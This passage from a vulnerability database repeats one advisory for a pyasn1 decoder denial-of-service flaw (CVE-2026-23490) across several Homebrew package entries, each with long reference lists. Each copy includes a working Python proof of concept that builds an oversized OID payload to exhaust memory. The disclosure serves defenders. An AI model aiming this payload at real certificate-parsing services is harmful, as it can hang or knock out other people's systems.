application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.\n\n### Impact\n\nThis issue can affect resource consumption and hang systems or stop services.\nThis may affect:\n- LDAP servers\n- TLS/SSL endpoints\n- OCSP responders\n- etc.\n\n### Recommendation\n\nAdd a limit to the allowed bytes in the decoder.",
      "id": "BREW-dvc-CVE-2026-23490",
      "modified": "2026-10-29T23:00:16Z",
      "published": "2026-08-13T16:44:03Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23490"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/be353d755f42ea36539b4f5053c652ddf56979a6"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/3908f144229eed4df24bd569d16e5991ace44970"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4148"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4147"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4146"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4145"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4144"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4143"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4142"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4141"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4140"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4139"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4138"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:39894"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3959"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3958"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2302"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:41928"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:42644"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4943"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:54757"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:5606"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/security/cve/CVE-2026-23490"
        },
        {
          "type": "WEB",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2430472"
        },
        {
          "type": "ADVISORY",
          "url": "https://github.com/advisories/GHSA-63vm-454h-vhhq"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/blob/0f07d7242a78ab4d129b26256d7474f7168cf536/pyasn1/codec/ber/decoder.py#L496"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-1810.yaml"
        },
        {
          "type": "WEB",
          "url": "https://lists.debian.org/debian-lts-announce/2026/02/msg00002.html"
        },
        {
          "type": "WEB",
          "url": "https://pypi.org/project/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-23490.json"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2300"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2299"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2221"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1906"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1905"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1904"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1903"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17611"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17595"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17446"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:14020"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13553"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13545"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13512"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13508"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:37275"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3359"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3354"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:30088"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:28042"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2758"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24977"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24866"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2486"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2483"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2460"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2453"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24483"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24476"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2309"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2303"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "pyasn1 has a DoS vulnerability in decoder",
      "upstream": [
        "GHSA-63vm-454h-vhhq",
        "CVE-2026-23490",
        "PYSEC-2026-1810"
      ]
    }

    BREW-GCALCLI-CVE-2026-23490 (GHSA-63VM-454H-VHHQ)

    Vulnerability from osv_homebrew – Published: 2026-08-13 16:49 – Updated: 2026-10-31 19:26 – Source website
    VLAI
    Summary
    pyasn1 has a DoS vulnerability in decoder
    Details

    Summary

    After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.

    Details

    The integer issue can be found in the decoder as reloid += ((subId << 7) + nextSubId,): https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496

    PoC

    For the DoS:

    import pyasn1.codec.ber.decoder as decoder
    import pyasn1.type.univ as univ
    import sys
    import resource
    
    # Deliberately set memory limit to display PoC
    try:
        resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))
        print("[*] Memory limit set to 100MB")
    except:
        print("[-] Could not set memory limit")
    
    # Test with different payload sizes to find the DoS threshold
    payload_size_mb = int(sys.argv[1])
    
    print(f"[*] Testing with {payload_size_mb}MB payload...")
    
    payload_size = payload_size_mb * 1024 * 1024
    # Create payload with continuation octets
    # Each 0x81 byte indicates continuation, causing bit shifting in decoder
    payload = b'\x81' * payload_size + b'\x00'
    length = len(payload)
    
    # DER length encoding (supports up to 4GB)
    if length < 128:
        length_bytes = bytes([length])
    elif length < 256:
        length_bytes = b'\x81' + length.to_bytes(1, 'big')
    elif length < 256**2:
        length_bytes = b'\x82' + length.to_bytes(2, 'big')
    elif length < 256**3:
        length_bytes = b'\x83' + length.to_bytes(3, 'big')
    else:
        # 4 bytes can handle up to 4GB
        length_bytes = b'\x84' + length.to_bytes(4, 'big')
    
    # Use OID (0x06) for more aggressive parsing
    malicious_packet = b'\x06' + length_bytes + payload
    
    print(f"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB")
    
    try:
        print("[*] Decoding (this may take time or exhaust memory)...")
        result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())
    
        print(f'[+] Decoded successfully')
        print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')
    
        # Try to convert to string
        print('[*] Converting to string...')
        try:
            str_result = str(result[0])
            print(f'[+] String succeeded: {len(str_result)} chars')
            if len(str_result) > 10000:
                print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')
        except MemoryError:
            print(f'[-] MemoryError during string conversion!')
        except Exception as e:
            print(f'[-] {type(e).__name__} during string conversion')
    
    except MemoryError:
        print('[-] MemoryError: Out of memory!')
    except Exception as e:
        print(f'[-] Error: {type(e).__name__}: {e}')
    
    
    print("\n[*] Test completed")
    

    Screenshots with the results:

    DoS

    Screenshot_20251219_160840

    Screenshot_20251219_152815

    Leak analysis

    A potential heap leak was investigated but came back clean:

    [*] Creating 1000KB payload...
    [*] Decoding with pyasn1...
    [*] Materializing to string...
    [+] Decoded 2157784 characters
    [+] Binary representation: 896001 bytes
    [+] Dumped to heap_dump.bin
    
    [*] First 64 bytes (hex):
      01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081
    
    [*] First 64 bytes (ASCII/hex dump):
      0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..
      0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....
      0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... 
      0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.
    
    [*] Digit distribution analysis:
      '0':  10.1%
      '1':   9.9%
      '2':  10.0%
      '3':   9.9%
      '4':   9.9%
      '5':  10.0%
      '6':  10.0%
      '7':  10.0%
      '8':   9.9%
      '9':  10.1%
    

    Scenario

    1. An attacker creates a malicious X.509 certificate.
    2. The application validates certificates.
    3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.

    Impact

    This issue can affect resource consumption and hang systems or stop services. This may affect: - LDAP servers - TLS/SSL endpoints - OCSP responders - etc.

    Recommendation

    Add a limit to the allowed bytes in the decoder.

    References
    https://github.com/pyasn1/pyasn1/security/advisor… WEB
    https://nvd.nist.gov/vuln/detail/CVE-2026-23490 ADVISORY
    https://github.com/pyasn1/pyasn1/commit/be353d755… WEB
    https://github.com/pyasn1/pyasn1/commit/3908f1442… WEB
    https://access.redhat.com/errata/RHSA-2026:4148 WEB
    https://access.redhat.com/errata/RHSA-2026:4147 WEB
    https://access.redhat.com/errata/RHSA-2026:4146 WEB
    https://access.redhat.com/errata/RHSA-2026:4145 WEB
    https://access.redhat.com/errata/RHSA-2026:4144 WEB
    https://access.redhat.com/errata/RHSA-2026:4143 WEB
    https://access.redhat.com/errata/RHSA-2026:4142 WEB
    https://access.redhat.com/errata/RHSA-2026:4141 WEB
    https://access.redhat.com/errata/RHSA-2026:4140 WEB
    https://access.redhat.com/errata/RHSA-2026:4139 WEB
    https://access.redhat.com/errata/RHSA-2026:4138 WEB
    https://access.redhat.com/errata/RHSA-2026:39894 WEB
    https://access.redhat.com/errata/RHSA-2026:3959 WEB
    https://access.redhat.com/errata/RHSA-2026:3958 WEB
    https://access.redhat.com/errata/RHSA-2026:2302 WEB
    https://access.redhat.com/errata/RHSA-2026:41928 WEB
    https://access.redhat.com/errata/RHSA-2026:42644 WEB
    https://access.redhat.com/errata/RHSA-2026:4943 WEB
    https://access.redhat.com/errata/RHSA-2026:54757 WEB
    https://access.redhat.com/errata/RHSA-2026:5606 WEB
    https://access.redhat.com/security/cve/CVE-2026-23490 WEB
    https://bugzilla.redhat.com/show_bug.cgi?id=2430472 WEB
    https://github.com/advisories/GHSA-63vm-454h-vhhq ADVISORY
    https://github.com/pyasn1/pyasn1 PACKAGE
    https://github.com/pyasn1/pyasn1/blob/0f07d7242a7… WEB
    https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2 WEB
    https://github.com/pypa/advisory-database/tree/ma… WEB
    https://lists.debian.org/debian-lts-announce/2026… WEB
    https://pypi.org/project/pyasn1 WEB
    https://security.access.redhat.com/data/csaf/v2/v… WEB
    https://access.redhat.com/errata/RHSA-2026:2300 WEB
    https://access.redhat.com/errata/RHSA-2026:2299 WEB
    https://access.redhat.com/errata/RHSA-2026:2221 WEB
    https://access.redhat.com/errata/RHSA-2026:19712 WEB
    https://access.redhat.com/errata/RHSA-2026:1906 WEB
    https://access.redhat.com/errata/RHSA-2026:1905 WEB
    https://access.redhat.com/errata/RHSA-2026:1904 WEB
    https://access.redhat.com/errata/RHSA-2026:1903 WEB
    https://access.redhat.com/errata/RHSA-2026:17611 WEB
    https://access.redhat.com/errata/RHSA-2026:17595 WEB
    https://access.redhat.com/errata/RHSA-2026:17446 WEB
    https://access.redhat.com/errata/RHSA-2026:14020 WEB
    https://access.redhat.com/errata/RHSA-2026:13553 WEB
    https://access.redhat.com/errata/RHSA-2026:13545 WEB
    https://access.redhat.com/errata/RHSA-2026:13512 WEB
    https://access.redhat.com/errata/RHSA-2026:13508 WEB
    https://access.redhat.com/errata/RHSA-2026:37275 WEB
    https://access.redhat.com/errata/RHSA-2026:3359 WEB
    https://access.redhat.com/errata/RHSA-2026:3354 WEB
    https://access.redhat.com/errata/RHSA-2026:30088 WEB
    https://access.redhat.com/errata/RHSA-2026:28042 WEB
    https://access.redhat.com/errata/RHSA-2026:2758 WEB
    https://access.redhat.com/errata/RHSA-2026:2712 WEB
    https://access.redhat.com/errata/RHSA-2026:24977 WEB
    https://access.redhat.com/errata/RHSA-2026:24866 WEB
    https://access.redhat.com/errata/RHSA-2026:2486 WEB
    https://access.redhat.com/errata/RHSA-2026:2483 WEB
    https://access.redhat.com/errata/RHSA-2026:2460 WEB
    https://access.redhat.com/errata/RHSA-2026:2453 WEB
    https://access.redhat.com/errata/RHSA-2026:24483 WEB
    https://access.redhat.com/errata/RHSA-2026:24476 WEB
    https://access.redhat.com/errata/RHSA-2026:2309 WEB
    https://access.redhat.com/errata/RHSA-2026:2303 WEB

    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.5",
            "upstream_fixed_in": "0.6.2"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "gcalcli",
            "purl": "pkg:brew/gcalcli"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "4.5.0"
                },
                {
                  "fixed": "4.5.1_7"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.5",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.5"
          }
        ]
      },
      "details": "### Summary\n\nAfter reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.\n\n### Details\n\nThe integer issue can be found in the decoder as `reloid += ((subId \u003c\u003c 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496\n\n### PoC\n\nFor the DoS:\n```py\nimport pyasn1.codec.ber.decoder as decoder\nimport pyasn1.type.univ as univ\nimport sys\nimport resource\n\n# Deliberately set memory limit to display PoC\ntry:\n    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))\n    print(\"[*] Memory limit set to 100MB\")\nexcept:\n    print(\"[-] Could not set memory limit\")\n\n# Test with different payload sizes to find the DoS threshold\npayload_size_mb = int(sys.argv[1])\n\nprint(f\"[*] Testing with {payload_size_mb}MB payload...\")\n\npayload_size = payload_size_mb * 1024 * 1024\n# Create payload with continuation octets\n# Each 0x81 byte indicates continuation, causing bit shifting in decoder\npayload = b\u0027\\x81\u0027 * payload_size + b\u0027\\x00\u0027\nlength = len(payload)\n\n# DER length encoding (supports up to 4GB)\nif length \u003c 128:\n    length_bytes = bytes([length])\nelif length \u003c 256:\n    length_bytes = b\u0027\\x81\u0027 + length.to_bytes(1, \u0027big\u0027)\nelif length \u003c 256**2:\n    length_bytes = b\u0027\\x82\u0027 + length.to_bytes(2, \u0027big\u0027)\nelif length \u003c 256**3:\n    length_bytes = b\u0027\\x83\u0027 + length.to_bytes(3, \u0027big\u0027)\nelse:\n    # 4 bytes can handle up to 4GB\n    length_bytes = b\u0027\\x84\u0027 + length.to_bytes(4, \u0027big\u0027)\n\n# Use OID (0x06) for more aggressive parsing\nmalicious_packet = b\u0027\\x06\u0027 + length_bytes + payload\n\nprint(f\"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB\")\n\ntry:\n    print(\"[*] Decoding (this may take time or exhaust memory)...\")\n    result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())\n\n    print(f\u0027[+] Decoded successfully\u0027)\n    print(f\u0027[!] Object size: {sys.getsizeof(result[0])} bytes\u0027)\n\n    # Try to convert to string\n    print(\u0027[*] Converting to string...\u0027)\n    try:\n        str_result = str(result[0])\n        print(f\u0027[+] String succeeded: {len(str_result)} chars\u0027)\n        if len(str_result) \u003e 10000:\n            print(f\u0027[!] MEMORY EXPLOSION: {len(str_result)} character string!\u0027)\n    except MemoryError:\n        print(f\u0027[-] MemoryError during string conversion!\u0027)\n    except Exception as e:\n        print(f\u0027[-] {type(e).__name__} during string conversion\u0027)\n\nexcept MemoryError:\n    print(\u0027[-] MemoryError: Out of memory!\u0027)\nexcept Exception as e:\n    print(f\u0027[-] Error: {type(e).__name__}: {e}\u0027)\n\n\nprint(\"\\n[*] Test completed\")\n```\n\n\nScreenshots with the results:\n\n#### DoS\n\u003cimg width=\"944\" height=\"207\" alt=\"Screenshot_20251219_160840\" src=\"https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f\" /\u003e\n\n\u003cimg width=\"931\" height=\"231\" alt=\"Screenshot_20251219_152815\" src=\"https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa\" /\u003e\n\n#### Leak analysis\n\nA potential heap leak was investigated but came back clean:\n```\n[*] Creating 1000KB payload...\n[*] Decoding with pyasn1...\n[*] Materializing to string...\n[+] Decoded 2157784 characters\n[+] Binary representation: 896001 bytes\n[+] Dumped to heap_dump.bin\n\n[*] First 64 bytes (hex):\n  01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081\n\n[*] First 64 bytes (ASCII/hex dump):\n  0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..\n  0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....\n  0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... \n  0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.\n\n[*] Digit distribution analysis:\n  \u00270\u0027:  10.1%\n  \u00271\u0027:   9.9%\n  \u00272\u0027:  10.0%\n  \u00273\u0027:   9.9%\n  \u00274\u0027:   9.9%\n  \u00275\u0027:  10.0%\n  \u00276\u0027:  10.0%\n  \u00277\u0027:  10.0%\n  \u00278\u0027:   9.9%\n  \u00279\u0027:  10.1%\n```\n\n### Scenario\n\n1. An attacker creates a malicious X.509 certificate.\n2. The application validates certificates.\n3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.\n\n### Impact\n\nThis issue can affect resource consumption and hang systems or stop services.\nThis may affect:\n- LDAP servers\n- TLS/SSL endpoints\n- OCSP responders\n- etc.\n\n### Recommendation\n\nAdd a limit to the allowed bytes in the decoder.",
      "id": "BREW-gcalcli-CVE-2026-23490",
      "modified": "2026-10-31T19:26:28Z",
      "published": "2026-08-13T16:49:07Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23490"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/be353d755f42ea36539b4f5053c652ddf56979a6"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/3908f144229eed4df24bd569d16e5991ace44970"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4148"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4147"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4146"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4145"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4144"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4143"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4142"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4141"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4140"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4139"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4138"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:39894"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3959"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3958"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2302"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:41928"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:42644"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4943"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:54757"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:5606"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/security/cve/CVE-2026-23490"
        },
        {
          "type": "WEB",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2430472"
        },
        {
          "type": "ADVISORY",
          "url": "https://github.com/advisories/GHSA-63vm-454h-vhhq"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/blob/0f07d7242a78ab4d129b26256d7474f7168cf536/pyasn1/codec/ber/decoder.py#L496"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-1810.yaml"
        },
        {
          "type": "WEB",
          "url": "https://lists.debian.org/debian-lts-announce/2026/02/msg00002.html"
        },
        {
          "type": "WEB",
          "url": "https://pypi.org/project/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-23490.json"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2300"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2299"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2221"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1906"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1905"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1904"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1903"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17611"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17595"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17446"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:14020"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13553"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13545"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13512"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13508"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:37275"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3359"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3354"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:30088"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:28042"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2758"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24977"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24866"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2486"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2483"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2460"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2453"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24483"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24476"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2309"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2303"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "pyasn1 has a DoS vulnerability in decoder",
      "upstream": [
        "GHSA-63vm-454h-vhhq",
        "CVE-2026-23490",
        "PYSEC-2026-1810"
      ]
    }

    BREW-GLANCES-CVE-2026-23490 (GHSA-63VM-454H-VHHQ)

    Vulnerability from osv_homebrew – Published: 2026-08-13 16:51 – Updated: 2026-10-31 19:40 – Source website
    VLAI
    Summary
    pyasn1 has a DoS vulnerability in decoder
    Details

    Summary

    After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.

    Details

    The integer issue can be found in the decoder as reloid += ((subId << 7) + nextSubId,): https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496

    PoC

    For the DoS:

    import pyasn1.codec.ber.decoder as decoder
    import pyasn1.type.univ as univ
    import sys
    import resource
    
    # Deliberately set memory limit to display PoC
    try:
        resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))
        print("[*] Memory limit set to 100MB")
    except:
        print("[-] Could not set memory limit")
    
    # Test with different payload sizes to find the DoS threshold
    payload_size_mb = int(sys.argv[1])
    
    print(f"[*] Testing with {payload_size_mb}MB payload...")
    
    payload_size = payload_size_mb * 1024 * 1024
    # Create payload with continuation octets
    # Each 0x81 byte indicates continuation, causing bit shifting in decoder
    payload = b'\x81' * payload_size + b'\x00'
    length = len(payload)
    
    # DER length encoding (supports up to 4GB)
    if length < 128:
        length_bytes = bytes([length])
    elif length < 256:
        length_bytes = b'\x81' + length.to_bytes(1, 'big')
    elif length < 256**2:
        length_bytes = b'\x82' + length.to_bytes(2, 'big')
    elif length < 256**3:
        length_bytes = b'\x83' + length.to_bytes(3, 'big')
    else:
        # 4 bytes can handle up to 4GB
        length_bytes = b'\x84' + length.to_bytes(4, 'big')
    
    # Use OID (0x06) for more aggressive parsing
    malicious_packet = b'\x06' + length_bytes + payload
    
    print(f"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB")
    
    try:
        print("[*] Decoding (this may take time or exhaust memory)...")
